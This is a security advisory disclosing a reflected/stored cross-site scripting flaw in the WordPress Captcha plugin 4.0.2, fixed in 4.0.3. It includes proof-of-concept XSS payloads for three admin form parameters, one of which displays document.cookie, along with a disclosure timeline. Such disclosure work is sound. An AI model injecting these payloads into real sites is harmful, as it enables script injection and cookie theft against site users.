WordPress Captcha 4.0.2 Cross Site Scripting

`Plugin Name : Captcha  
  
Effected Version : 4.0.2 (and most probably lower version's if any)  
  
Vulnerability : A3-Cross-Site Scripting (XSS)  
  
Identified by : Madhu Akula  
  
  
  
Technical Details  
  
Minimum Level of Access Required : Administrator  
  
PoC - (Proof of Concept) :  
  
http://localhost/wp-admin/admin.php?page=captcha.php  
  
In the above page the following fields put the payload as below  
  
cptch_label_form = “><script>alert(1)</script>  
  
cptch_required_symbol = “><script>alert(2)</script>  
  
  
http://localhost/wp-admin/admin.php?page=captcha.php&action=go_pro  
  
  
bws_license_key =”><img src=x onerror=prompt(document.cookie);>  
  
Vulnerable Parameter : cptch_label_form, cptch_required_symbol, bws_license_key  
  
Type of XSS : Reflected / Stored  
  
Fixed in : 4.0.3  
  
http://wordpress.org/plugins/captcha/changelog/  
  
Disclosure Timeline  
  
Vendor Contacted : 2014-08-04  
  
Plugin Status : Updated on 2014-08-07  
  
Public Disclosure : October 3, 2015  
  
CVE Number : Not assigned yet  
  
Plugin Description :  
  
The Captcha plugin allows you to implement a super security captcha form into web forms. It protects your website from spam by means of math logic, easily understood by human beings. You will not have to spend your precious time on annoying attempts to understand hard-to-read words, combinations of letters or pictures that make your eyes pop up. All you need is to do one of the three basic maths actions - add, subtract and multiply. This captcha can be used for login, registration, password recovery, comments forms. There is also a premium version of the plugin, allowing compatibility with BuddyPress (Registration form, Comments form, "Create a Group" form) and Contact Form 7.  
`